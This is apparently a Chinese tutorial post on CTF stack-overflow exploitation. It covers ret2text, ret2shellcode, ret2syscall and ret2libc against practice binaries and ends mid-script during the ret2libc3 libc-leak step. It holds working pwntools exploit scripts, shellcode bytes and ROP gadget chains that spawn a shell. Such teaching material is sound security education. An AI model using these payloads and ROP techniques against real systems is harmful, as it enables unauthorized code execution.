文章目录

  • ret2text
    • 解题步骤
  • ret2shellcode
    • 解题步骤
    • 解读exp
  • ret2sysycall
    • 解题步骤
    • 系统调用
      • 一探
      • 二探
  • ret2libc
    • ret2libc1
    • ret2libc2
    • ret2libc3

ret2text

概念:
进程存在危险函数如 system(“/bin”) 或 execv(“/bin/sh”,0,0) 的片段,可以直接劫持返回地址到目标函数地址上。从而 getshell。
原理:
ret2text 即控制程序执行程序本身已有的的代码 (.text)。其实,这种攻击方法是一种笼统的描述。我们控制执行程序已有的代码的时候也可以控制程序执行好几段不相邻的程序已有的代码 (也就是 gadgets),这就是我们所要说的 ROP。
点击下载例题

解题步骤

解题思路:
首先查看文件保护

什么保护也没开(毕竟这是最简单的例题)
32位先到IDA看一下

可以看出程序在主函数中使用了 gets 函数,显然存在栈溢出漏洞。此后又发现在 secure 函数又发现了存在调用system(“/bin/sh”) 的代码,那么如果我们直接控制程序返回至 0x0804863A,那么就可以得到系统的 shell 了。

下面就是我们如何构造 payload 了,首先需要确定的是我们能够控制的内存的起始地址距离 main 函数的返回地址的字节数。
直接构造exp

from pwn import *
p = process('./ret2text')
p.sendline(b'a'*(0x64+4)+p32(0x804863a))
p.interactive()

发现错了(原因:IDE可能会把栈的长度测量错了)
接下来需要我们手动测量栈长度:
首先使用cyclic生成无序字符串,看看什么时候溢出
fanfan@ubuntu:~/Desktop/Basic question type$ cyclic 200 aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab
我用的是pwndbg动态调试工具

pwndbg> start
Temporary breakpoint 1 at 0x8048500Temporary breakpoint 1, 0x08048500 in _start ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
────────────[ REGISTERS / show-flags off / show-compact-regs off ]─────────────
*EAX  0x1c
*EBX  0xf7ffd000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x2bf24ECX  0x0
*EDX  0xf7fe22b0 (_dl_fini) ◂— endbr32
*EDI  0x8048500 (_start) ◂— xor ebp, ebp
*ESI  0xffffd67c —▸ 0xffffd7e9 ◂— 'SHELL=/bin/bash'EBP  0x0ESP  0xffffd670 ◂— 0x1
*EIP  0x8048500 (_start) ◂— xor ebp, ebp
──────────────────────[ DISASM / i386 / set emulate on ]───────────────────────► 0x8048500 <_start>       xor    ebp, ebp0x8048502 <_start+2>     pop    esi0x8048503 <_start+3>     mov    ecx, esp0x8048505 <_start+5>     and    esp, 0xfffffff00x8048508 <_start+8>     push   eax0x8048509 <_start+9>     push   esp0x804850a <_start+10>    push   edx0x804850b <_start+11>    push   __libc_csu_fini               <0x8048740>0x8048510 <_start+16>    push   __libc_csu_init               <0x80486d0>0x8048515 <_start+21>    push   ecx0x8048516 <_start+22>    push   esi
───────────────────────────────────[ STACK ]───────────────────────────────────
00:0000│ esp 0xffffd670 ◂— 0x1
01:0004│     0xffffd674 —▸ 0xffffd7b7 ◂— '/home/fanfan/Desktop/Basic question type/ret2text'
02:0008│     0xffffd678 ◂— 0x0
03:000c│ esi 0xffffd67c —▸ 0xffffd7e9 ◂— 'SHELL=/bin/bash'
04:0010│     0xffffd680 —▸ 0xffffd7f9 ◂— 'COLORTERM=truecolor'
05:0014│     0xffffd684 —▸ 0xffffd80d ◂— 'SUDO_GID=1000'
06:0018│     0xffffd688 —▸ 0xffffd81b ◂— 'SUDO_COMMAND=/usr/bin/su'
07:001c│     0xffffd68c —▸ 0xffffd834 ◂— 'SUDO_USER=fanfan'
─────────────────────────────────[ BACKTRACE ]─────────────────────────────────► f 0 0x8048500 _start
───────────────────────────────────────────────────────────────────────────────
pwndbg> c
Continuing.
There is something amazing here, do you know anything?
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab
Maybe I will tell you next time !
Program received signal SIGSEGV, Segmentation fault.
0x62616164 in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
─────────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]─────────────────────────────────────────────────────────────────────────────────────────────────
*EAX  0x0
*EBX  0x0
*ECX  0xffffffff
*EDX  0x21
*EDI  0xf7fb4000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1ead6c
*ESI  0xf7fb4000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1ead6c
*EBP  0x62616163 ('caab')
*ESP  0xffffd5e0 ◂— 'eaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab'
*EIP  0x62616164 ('daab')
───────────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM / i386 / set emulate on ]───────────────────────────────────────────────────────────────────────────────────────────────────────────
Invalid address 0x62616164───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ esp 0xffffd5e0 ◂— 'eaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab'
01:0004│     0xffffd5e4 ◂— 'faabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab'
02:0008│     0xffffd5e8 ◂— 'gaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab'
03:000c│     0xffffd5ec ◂— 'haabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab'
04:0010│     0xffffd5f0 ◂— 'iaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab'
05:0014│     0xffffd5f4 ◂— 'jaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab'
06:0018│     0xffffd5f8 ◂— 'kaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab'
07:001c│     0xffffd5fc ◂— 'laabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab'
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────► f 0 0x62616164f 1 0x62616165f 2 0x62616166f 3 0x62616167f 4 0x62616168f 5 0x62616169f 6 0x6261616af 7 0x6261616b
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> cyclic -l 0x62616164
Lookup value: b'daab'
112

那么就要让它跳转的位置放在112(0x70)个字母之后让它溢出实现跳转
构造exp

from pwn import *
p = process('./ret2text')
target = 0x804863a
p.sendline(b'a'*(0x64+4)+p32(target))
p.interactive()

测试成功getshell

ret2shellcode

原理:
ret2shellcode,即控制程序执行 shellcode 代码。shellcode 指的是用于完成某个功能的汇编代码,常见的功能主要是获取目标系统的 shell。一般来说,shellcode 需要我们自己填充。这其实是另外一种典型的利用方法,即此时我们需要自己去填充一些可执行的代码。

在栈溢出的基础上,要想执行 shellcode,需要对应的 binary 在运行时,shellcode 所在的区域具有可执行权限。
关键:
1、程序存在溢出,并且还要能够控制返回地址
2、程序运行时,shellcode 所在的区域要拥有执行权限
3、操作系统还需要关闭 ASLR (地址空间布局随机化) 保护 。
点击下载例题

解题步骤

思路:
1.先使用cyclic测试出溢出点,构造初步的payload
2.确定程序中的溢出位,看是否可在bss段传入数据
3.使用GDB的vmmap查看bss段(一般为用户提交的变量在bss段中)
4.先发送为shellcode的数据写入到bss段
5.在将程序溢出到上一步用户提交变量的地址
首先检查一下文件保护

题目提示没有后门函数,放在IDA查看确实没有后门函数
分析一下main函数:
仍是简单的栈溢出漏洞,不过这次将对应的字符串复制到buf2处。简单查看可知buf2在bss段,如下图:

到了思路中的第二步,需要动态调试查看bss段是否可以执行:

pwndbg> b main
Breakpoint 1 at 0x8048536: file ret2shellcode.c, line 8.
pwndbg> run
Starting program: /home/fanfan/Desktop/Basic question type/ret2shellcode Breakpoint 1, main () at ret2shellcode.c:8
8   ret2shellcode.c: No such file or directory.
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
────────────[ REGISTERS / show-flags off / show-compact-regs off ]─────────────
*EAX  0xf7fb6088 (environ) —▸ 0xffffd66c —▸ 0xffffd7e4 ◂— 'SHELL=/bin/bash'EBX  0x0
*ECX  0x46745c6a ('j\\tF')
*EDX  0xffffd5f4 ◂— 0x0
*EDI  0xf7fb4000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1ead6c
*ESI  0xf7fb4000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1ead6c
*EBP  0xffffd5c8 ◂— 0x0
*ESP  0xffffd540 —▸ 0x8048034 ◂— push es
*EIP  0x8048536 (main+9) ◂— mov eax, dword ptr [0x804a060]
──────────────────────[ DISASM / i386 / set emulate on ]───────────────────────► 0x8048536 <main+9>     mov    eax, dword ptr [0x804a060]0x804853b <main+14>    mov    dword ptr [esp + 0xc], 00x8048543 <main+22>    mov    dword ptr [esp + 8], 20x804854b <main+30>    mov    dword ptr [esp + 4], 00x8048553 <main+38>    mov    dword ptr [esp], eax0x8048556 <main+41>    call   setvbuf@plt                     <setvbuf@plt>0x804855b <main+46>    mov    eax, dword ptr [stdin@@GLIBC_2.0] <0x804a040>0x8048560 <main+51>    mov    dword ptr [esp + 0xc], 00x8048568 <main+59>    mov    dword ptr [esp + 8], 10x8048570 <main+67>    mov    dword ptr [esp + 4], 00x8048578 <main+75>    mov    dword ptr [esp], eax
───────────────────────────────────[ STACK ]───────────────────────────────────
00:0000│ esp 0xffffd540 —▸ 0x8048034 ◂— push es
01:0004│     0xffffd544 ◂— 9 /* '\t' */
02:0008│     0xffffd548 —▸ 0xffffd5a8 —▸ 0xffffd66c —▸ 0xffffd7e4 ◂— 'SHELL=/bin/bash'
03:000c│     0xffffd54c —▸ 0xffffd6cc ◂— 0x20 /* ' ' */
04:0010│     0xffffd550 ◂— 0x0
05:0014│     0xffffd554 ◂— 0x0
06:0018│     0xffffd558 —▸ 0xf7ffd000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x2bf24
07:001c│     0xffffd55c ◂— 0x0
─────────────────────────────────[ BACKTRACE ]─────────────────────────────────► f 0 0x8048536 main+9f 1 0xf7de3ed5 __libc_start_main+245
───────────────────────────────────────────────────────────────────────────────
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATAStart        End Perm     Size Offset File0x8048000  0x8049000 r-xp     1000      0 /home/fanfan/Desktop/Basic question type/ret2shellcode0x8049000  0x804a000 r--p     1000      0 /home/fanfan/Desktop/Basic question type/ret2shellcode0x804a000  0x804b000 rw-p     1000   1000 /home/fanfan/Desktop/Basic question type/ret2shellcode
0xf7dc9000 0xf7de2000 r--p    19000      0 /usr/lib/i386-linux-gnu/libc-2.31.so
0xf7de2000 0xf7f3d000 r-xp   15b000  19000 /usr/lib/i386-linux-gnu/libc-2.31.so
0xf7f3d000 0xf7fb1000 r--p    74000 174000 /usr/lib/i386-linux-gnu/libc-2.31.so
0xf7fb1000 0xf7fb2000 ---p     1000 1e8000 /usr/lib/i386-linux-gnu/libc-2.31.so
0xf7fb2000 0xf7fb4000 r--p     2000 1e8000 /usr/lib/i386-linux-gnu/libc-2.31.so
0xf7fb4000 0xf7fb5000 rw-p     1000 1ea000 /usr/lib/i386-linux-gnu/libc-2.31.so
0xf7fb5000 0xf7fb8000 rw-p     3000      0 [anon_f7fb5]
0xf7fc9000 0xf7fcb000 rw-p     2000      0 [anon_f7fc9]
0xf7fcb000 0xf7fcf000 r--p     4000      0 [vvar]
0xf7fcf000 0xf7fd1000 r-xp     2000      0 [vdso]
0xf7fd1000 0xf7fd2000 r--p     1000      0 /usr/lib/i386-linux-gnu/ld-2.31.so
0xf7fd2000 0xf7ff0000 r-xp    1e000   1000 /usr/lib/i386-linux-gnu/ld-2.31.so
0xf7ff0000 0xf7ffb000 r--p     b000  1f000 /usr/lib/i386-linux-gnu/ld-2.31.so
0xf7ffc000 0xf7ffd000 r--p     1000  2a000 /usr/lib/i386-linux-gnu/ld-2.31.so
0xf7ffd000 0xf7ffe000 rw-p     1000  2b000 /usr/lib/i386-linux-gnu/ld-2.31.so
0xfffdd000 0xffffe000 rwxp    21000      0 [stack]

查看buf2地址(0x80A080)在哪个区间:

0x804a000  0x804b000 rw-p     1000   1000 /home/fanfan/Desktop/Basic question type/ret2shellcode

没有可执行权限(r=读,w=写,x=执行,s=共享,p=私有),因为版本问题,我用的是Ubuntu20,在Ubuntu16中就可以获得执行权限,不过问题不大,了解思路即可,毕竟一般的题目不会给bss段执行权限
略过查偏移量的步骤和上题一样
然后我们需要构造exp:

from pwn import *
sh = process('./ret2shellcode')
shellcode=asm(shellcraft.sh())
buf2_addr = 0x804a080
sh.sendline(shellcode.ljust(112,b'A')+p32(buf2_addr))
sh.interactive()

解读exp

首先

shellcode=asm(shellcraft.sh())

acm函数是对某个内容进行汇编,看一下shellcraft.sh( )的
内容是什么,来看一下:

from pwn import *
shellcode  = asm(shellcraft.sh())
print (shellcraft())

b'jhh///sh/bin\x89\xe3h\x01\x01\x01\x01\x814$ri\x01\x011\xc9Qj\x04Y\x01\xe1Q\x89\xe11\xd2j\x0bX\xcd\x80'

从上边的内容可以看出shellcraft()的内容相当于执行了system(‘/bin/sh’)或者evecve(‘/bin/sh’)
然后

sh.sendline(shellcode.ljust(112,b'A')+p32(buf2_addr))

应该知道shellcode是字符产类型,然后python中的ljust()方法是返回一个原字符串左对齐,并使用空格(默认)填充至指定长度的新字符串,若指定的长度小于原字符串的长度小于原字符串的长度则返回原字符串。

本题中就是使用自定义字符将shellcode补齐112个字符,因此shellcode打印出来就是

b'jhh///sh/bin\x89\xe3h\x01\x01\x01\x01\x814$ri\x01\x011\xc9Qj\x04Y\x01\xe1Q\x89\xe11\xd2j\x0bX\xcd\x80AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'

注意一下payload:

shellcode=asm(shellcraft.sh())
buf2_addr = 0x804a080
sh.sendline(shellcode.ljust(112,b'A')+p32(buf2_addr))
sh.interactive()

首先将payload输入到变量s也就是栈中,将main函数的ret地址覆盖到buf2_addr(bss段可以执行),之后main函数执行strncpy(buf2,&s,100u);虽然shellcode被截断为100,但是被截断的内容只有A,并不影响shellcode的完整度,将内容复制到buf2之后,由于main函数的返回地址被覆盖成shellcode的地址,因此在main函数执行完之后,EIP转向执行shellcode,成功·getshell

ret2sysycall

含义
顾名思义,ret to syscall,就是调用系统函数达到目的
原理
ret2syscall,即控制程序执行系统调用,获取 shell。获取/bin/sh需要使用系统调用来获取是ret2syscall专属方法。
什么是系统调用
在计算中,系统调用是一种编程方式,计算机程序从该程序中向执行其的操作系统内核请求服务。这可能包括与硬件相关的服务(例如,访问硬盘驱动器),创建和执行新进程以及与诸如进程调度之类的集成内核服务进行通信。系统调用提供了进程与操作系统之间的基本接口。
至于系统调用在其中充当什么角色,稍后再看 现在我们要做的是:让程序调用execve(“/bin/sh”,NULL,NULL)函数即可拿到shell 。
调用此函数的具体的步骤是这样的:因为该程序是 32 位,所以我们需要使得 系统调用号,即 eax 应该为 0xb 第一个参数,即 ebx 应该指向 /bin/sh 的地址,其实执行 sh 的地址也可以。第二个参数,即 ecx 应该为 0 第三个参数,即 edx 应该为 0 最后再执行int 0x80触发中断即可执行execve()获取shell

解题步骤

首先查看一下文件保护机制

开启了NX保护(当开启NX后,表示题目给了你全部的·system(‘/bin/sh’)或者部分’/bin/sh’;如果关闭,表示我们需要自己去构造shellcode(ret2shellcode)
用IDA查看源码

可以看出此次仍然是一个栈溢出。很容易得出测出偏移地址为112
但是开启了NX保护,我们就不能用ret2shellcode,没有system函数,也无法使用ret2text,使用一种全新的方法:ret2syscall
由于我们不能直接利用程序中的某一段代码或者自己填写代码来获得 shell,所以我们利用程序中的 gadgets 来获得 shell,即系统调用
什么是系统调用
在计算中,系统调用是一种编程方式,计算机程序从该程序中向执行其的操作系统内核请求服务。这可能包括与硬件相关的服务(例如,访问硬盘驱动器),创建和执行新进程以及与诸如进程调度之类的集成内核服务进行通信。系统调用提供了进程与操作系统之间的基本接口。
至于系统调用在其中充当什么角色,稍后再看 现在我们要做的是:
而我们如何控制这些寄存器的值 呢?这里就需要使用 gadgets。比如说,现在栈顶是 10,那么如果此时执行了 pop eax,那么现在 eax 的值就为 10。但是我们并不能期待有一段连续的代码可以同时控制对应的寄存器,所以我们需要一段一段控制,这也是我们在 gadgets 最后使用 ret 来再次控制程序执行流程的原因。具体寻找 gadgets 的方法,我们可以使用 ROPgadgets 这个工具。

fanfan@ubuntu:~/Desktop/Basic question type$ ROPgadget --binary ret2syscall --only 'pop|ret' | grep 'eax'
0x0809ddda : pop eax ; pop ebx ; pop esi ; pop edi ; ret
0x080bb196 : pop eax ; ret
0x0807217a : pop eax ; ret 0x80e
0x0804f704 : pop eax ; ret 3
0x0809ddd9 : pop es ; pop eax ; pop ebx ; pop esi ; pop edi ; ret

可以看到有上述几个都可以控制 eax,我选取第二个来作为 gadgets。

类似的,我们可以得到控制其它寄存器的 gadgets

fanfan@ubuntu:~/Desktop/Basic question type$ ROPgadget --binary ret2syscall --only 'pop|ret' | grep 'ebx'
0x0809dde2 : pop ds ; pop ebx ; pop esi ; pop edi ; ret
0x0809ddda : pop eax ; pop ebx ; pop esi ; pop edi ; ret
0x0805b6ed : pop ebp ; pop ebx ; pop esi ; pop edi ; ret
0x0809e1d4 : pop ebx ; pop ebp ; pop esi ; pop edi ; ret
0x080be23f : pop ebx ; pop edi ; ret
0x0806eb69 : pop ebx ; pop edx ; ret
0x08092258 : pop ebx ; pop esi ; pop ebp ; ret
0x0804838b : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x080a9a42 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x10
0x08096a26 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x14
0x08070d73 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0xc
0x08048547 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 4
0x08049bfd : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 8
0x08048913 : pop ebx ; pop esi ; pop edi ; ret
0x08049a19 : pop ebx ; pop esi ; pop edi ; ret 4
0x08049a94 : pop ebx ; pop esi ; ret
0x080481c9 : pop ebx ; ret
0x080d7d3c : pop ebx ; ret 0x6f9
0x08099c87 : pop ebx ; ret 8
0x0806eb91 : pop ecx ; pop ebx ; ret
0x0806336b : pop edi ; pop esi ; pop ebx ; ret
0x0806eb90 : pop edx ; pop ecx ; pop ebx ; ret
0x0809ddd9 : pop es ; pop eax ; pop ebx ; pop esi ; pop edi ; ret
0x0806eb68 : pop esi ; pop ebx ; pop edx ; ret
0x0805c820 : pop esi ; pop ebx ; ret
0x08050256 : pop esp ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x0807b6ed : pop ss ; pop ebx ; ret

这里我选择这里,我选择

0x0806eb90 : pop edx ; pop ecx ; pop ebx ; ret

这个可以直接控制其它三个寄存器。
此外,我们需要获得 /bin/sh 字符串对应的地址。

fanfan@ubuntu:~/Desktop/Basic question type$ ROPgadget --binary ret2syscall  --string '/bin/sh'
Strings information
============================================================
0x080be408 : /bin/sh

可以找到对应的地址,此外,还有 int 0x80 的地址,如下

fanfan@ubuntu:~/Desktop/Basic question type$ ROPgadget --binary ret2syscall  --only 'int'
Gadgets information
============================================================
0x08049421 : int 0x80Unique gadgets found: 1

也找到了对应地址
下面就是对应的 payload,其中 0xb 为 execve 对应的系统调用号。如果要执行execve(“/bin/sh”,NULL,NULL)函数我们需要这样做:
v ; NASM
int execve(const char *filename, char *const argv[], char *const envp[]);
mov eax, 0xb ; execve系统调用号为11
mov ebx, filename
mov ecx, argv
mov edx, envp
int 0x80 ; 触发系统调用

对应获取 shell 的系统调用的参数放到对应的寄存器中,那么我们在执行 int 0x80 就可执行对应的系统调用。

from pwn import *
sh = process('./rop')
pop_eax_ret = 0x080bb196
pop_edx_ecx_ebx_ret = 0x0806eb90
int_0x80 = 0x08049421
binsh = 0x80be408
payload = flat(['A' * 112, pop_eax_ret, 0xb, pop_edx_ecx_ebx_ret, 0, 0, binsh, int_0x80])
sh.sendline(payload)
sh.interactive()

flat()
在pwntools中可以用flat()來构造rop,参数传递用list來传,list中的element为想串接的rop gadget地址,简单来说就是可以把:rop = p32(gadget1) + p32(gadget2) + p32(gadget3) ……变成这样表示:flat([gadget1,gadget2,gadget3,……])
从下图来能够看到,ESP指针依次下移,直到指向int 0x80触发中断。

系统调用

一探

从用户态到内核态
先对这三个词的概念进行了解一下
用户态:user_space(或用户空间)是指在操作系统内核之外运行的所有代码。user_space通常是指操作系统用于与内核交互的各种程序和库:执行输入/输出,操纵文件系统对象的软件,应用程序软件等。也就是上层应用程序的活动空间,应用程序的执行必须依托于内核提供的资源内核态:控制计算机的硬件资源,并提供上层应用程序运行的环境,cpu可以访问内存的所有数据,包括外围设备,例如硬盘,网卡,cpu也可以将自己从一个程序切换到另一个程序。两中空间的分离可提供内存保护和硬件保护,以防止恶意或错误的软件行为。系统调用:为了使上层应用能够访问到这些资源,内核为上层应用提供访问的接口。大致的关系如下:
再看一下系统调用的基本过程:开始时应用程序准备参数,发出调用请求,然后glibc中也就是c标准库封装函数引导,执行系统调用,这里我们只探讨到这两个过程。可以发现上述两个过程从用户态(第一步)过渡到内核态(第二步),系统调用就是中间的过渡件,我们能控制的地方就是用户态,然后通过系统调用控制到内核态。先看一个程序

可以发现该程序通过调用sys_write函数进行输出Hello World,那么sys_write()是什么?
可以发现前三个mov指令是把该函数需要的参数放进相应寄存器中,然后把sys_write的系统调用号放在EAX寄存器中,然后执行int 0x80触发中断即可执行sys_call(),那么问题就来了:这几个寄存器有什么作用?为什么int 0x80?int 0x80后发生了什么?带着问题我们继续往下看

二探

set_system_gate
为何int 0x80?在系统文件中有这么一行代码
在系统启动的时候,系统会在sched_init(void)函数中调用set_system_gate(0x80,&system_call),设置中断向量号0x80的中断描述符,也就是说实现了系统调用 (处理过程system_call)和 int 0x80中断的对应,进而通过此中断号用EAX实现不同子系统的调用。详细了解,参见《linux 0.12》 int 0x80后发生了什么?经过初始化以后,每当执行 int 0x80 指令时,产生一个异常使系统陷入内核空间并执行128号异常处理程序,也就是绑定后的函数,即系统调用处理程序 system_call(),此时CPU完成从用户态到内核态切换,开始执行system_call()。
system_call()
当进入system_call()后,主要做了两件事,
首先处理中断前设置环境的过程 然后找到实际处理在入口 规定:数值会放在eax,ebx,ecx,edx,参数一般为4个 所以ebx,ecx,edx会被压入栈中设置环境(也就是函数所需要的参数)。
然后就会调用call_sys_call_table(,%eax,4)来实现相应系统函数的调用。那么从大门进入后怎么知道进那个小门(系统函数)呢?存在这么一个数组——sys_call_table(对应的处理函数少部分在这里面进行处理),处理函数功能号对应sys_call_table[]的下标,sys_execve()函数的下标就是11,也就是0xb。

ret2libc

原理
ret2libc 即控制函数的执行 libc 中的函数,通常是返回至某个函数的 plt 处或者函数的具体位置 (即函数对应的 got 表项的内容)。一般情况下,我们会选择执行 system(“/bin/sh”),故而此时我们需要知道 system 函数的地址。

ret2libc1

点击下载第一道例题
解题思路
检查保护机制

放在IDA看一下
![在这里插入图片描述](https://img-blog.csdnimg.cn/7537d7a7dc5
gets引起栈溢出,测算栈长度,和几题一样,这里略过,变量s的栈长度为112
利用工具ROPgadget查看/bin/sh字符串是否存在(还可以只用 IDA 中的 string view 查看程序中存在的字符串方法为:view —> Open subviews —> Strings)

fanfan@ubuntu:~/Desktop/Basic question type$ ROPgadget --binary ret2libc1 --string '/bin/sh'
Strings information
============================================================
0x08048720 : /bin/sh

继续查看函数列表,发现有一个 secure() 函数,该函数调用了 system() 函数,在程序链接时会为 system() 生成 plt 和 got 项。第一次调用函数时,会把函数真实的地址写入got表中,所以我们可以直接覆盖函数返回地址使其调用 system()@plt 模拟 system() 函数真实调用。IDA 中找到 system@plt 的地址:

也可以使用objdump寻找:

fanfan@ubuntu:~/Desktop/Basic question type$ objdump -d -j .plt ret2libc1 | grep system
08048460 <system@plt>:

构造exp

from pwn import *
sh = process('./ret2libc1')
binsh_addr = 0x8048720
system_plt = 0x08048460
payload = flat([b'a' * 112, system_plt, b'b' * 4, binsh_addr])
sh.sendline(payload)
sh.interactive()

这里我们需要注意函数调用栈的结构,如果是正常调用 system 函数,我们调用的时候会有一个对应的返回地址,这里以’bbbb’ 作为虚假的地址,其后参数对应的参数内容。
另一种全能型的exp,可以略过前边查寻地址的步骤:

from pwn import *
#context.log_level = 'debug'
sh = process('./ret2libc1')
elf = ELF('ret2libc1')
def pwn(sh, payload):sh.recvuntil('\n')sh.sendline(payload)sh.interactive()
#system_addr = 0x08048460
system_addr = elf.plt['system']
#binsh_addr = 0x08048720
binsh_addr = elf.search('/bin/sh').next()
ret_addr = 0xdeadbeef
payload = b'a' * 112 + p32(system_addr) + p32(ret_addr) + p32(binsh_addr)
pwn(sh, payload)

这个例子相对来说简单,同时提供了 system 地址与 /bin/sh 的地址,但是大多数程序并不会有这么好的情况。

ret2libc2

点击下载例题
与 ret2libc1 不同的是程序中不包含 “/bin/sh” 字符串,需要自己将字符串写入到内存中。所以整个过程分成了两部分,第一部分是将 “/bin/sh” 读入到内存中;第二部分是执行 system() 获取 shell。
解题思路
查看文件保护机制:

用IDA查看:

危险函数gets,在secure()函数中发现system函数

shift+F12查看字符串

但是没有发现"/bin/sh"的字样,但是我们在bss段找到了一些可利用的空间
可以在这个空间写入/bin/sh
注意:由于开启了NX保护不能像栈中写入内容
exp如下:

##!/usr/bin/env python
from pwn import *
gets_plt = 0x08048460
system_plt = 0x08048490
bss_addr = 0x804a080
sh = process('./ret2libc2')
sh.recvuntil('What do you think ?')
payload = b'a'*112+p32(gets_plt)+p32(system_plt)+p32(bss_addr)+p32(bss_addr)
sh.sendline(payload)
sh.sendline('/bin/sh')
sh.interactive()



payload解读:
首先112个字符填充栈,发生栈溢出,再用gets函数的plt地址来覆盖原来的返回地址,使程序流执行到gets函数,参数是bss段的地址,目的使gets函数将/bin/sh写入bss段中。接下来使用systm函数覆盖gets函数函数的返回地址。最后的sh.sehdline(‘/bin/sh’)是为了将bss段上的变量内容替换成/bin/sh(也就是说这句话执行之前,bss段上的变量未被初始化,内容为空)
另一种思路:
第一部分:

‘a' * 112 + gets_plt + ret_addr + bss_addr

在 gets() 函数完成后需要调用 system() 函数需要保持堆栈平衡,所以在调用完 gets() 函数后提升堆栈,这就需要 add esp, 4 这样的指令但是程序中并没有这样的指令。更换思路,通过使用 pop xxx 指令也可以完成同样的功能,用ROPgadget在程序中找到了 pop ebx,ret 指令。

fanfan@ubuntu:~/Desktop/Basic question type$ ROPgadget --binary ret2libc2 --only 'pop|ret'
Gadgets information
============================================================
0x0804872f : pop ebp ; ret
0x0804872c : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x0804843d : pop ebx ; ret
0x0804872e : pop edi ; pop ebp ; ret
0x0804872d : pop esi ; pop edi ; pop ebp ; ret
0x08048426 : ret
0x0804857e : ret 0xeac1Unique gadgets found: 7

第二部分:

system_plt + ret_addr + bss_addr

exp:

from pwn import *
gets_plt = 0x08048460
system_plt = 0x08048490
bss_addr = 0x804a080
ret_addr = 0x0804843d
sh = process('./ret2libc2')
sh.recvuntil('What do you think ?')
payload = b'a'*112+p32(gets_plt)+p32(ret_addr)+p32(bss_addr)+p32(system_plt)+p32(ret_addr)+p32(bss_addr)
sh.sendline(payload)
sh.sendline('/bin/sh')
sh.interactive()

getshell

ret2libc3

点击下载例题
在例 2 的基础上,再次将 system 函数的地址去掉。此时,我们需要同时找到 system 函数地址与 /bin/sh 字符串的地址。首先,查看安全保护

可以看出,源程序仍旧开启了堆栈不可执行保护。进而查看源码,发现程序的 bug 仍然是栈溢出

计算偏移为112,但是没有发现system函数和/bin/sh字符串的身影,那么我们如何得到 system 函数的地址呢?
从以下考虑
system 函数属于 libc,而 libc.so 动态链接库中的函数之间相对偏移是固定的。
即使程序有 ASLR 保护,也只是针对于地址中间位进行随机,最低的 12 位并不会发生改变。而 libc 在 github 上有人进行收集,如下
https://github.com/niklasb/libc-database
所以如果我们知道 libc 中某个函数的地址,那么我们就可以确定该程序利用的 libc。进而我们就可以知道 system 函数的地址。
那么如何得到 libc 中的某个函数的地址呢?我们一般常用的方法是采用 got 表泄露,即输出某个函数对应的 got 表项的内容。当然,由于 libc 的延迟绑定机制,我们需要泄漏已经执行过的函数的地址。
我们要泄露函数的真实地址,一般采用got表泄露,因为只要之前执行过puts函数,got表中存放着就是函数的真实地址,这里我用的是puts函数,因为程序已经运行过puts,真实地址已经存放在got表内。我们得到的puts函数的got地址后,可以把这个地址作为参数传递给puts函数,则会把puts函数的真实地址输出,这样就得到了puts函数的真实地址。脚本如下

from pwn import *
p = process('./ret2libc3')
elf = ELF('./ret2libc3')
puts_got_addr = elf.got['puts']#得到puts的got的地址,即函数的真实地址,即我们要泄漏的对象
puts_plt_addr = elf.plt['puts']#puts的plt表的地址,需要puts函数泄露
main_plt_addr = elf.symbols['_start']#返回地址被覆盖为main函数的地址,使程序还可被溢出
print ("puts_got_addr = ",hex(puts_got_addr))
print ("puts_plt_addr = ",hex(puts_plt_addr))
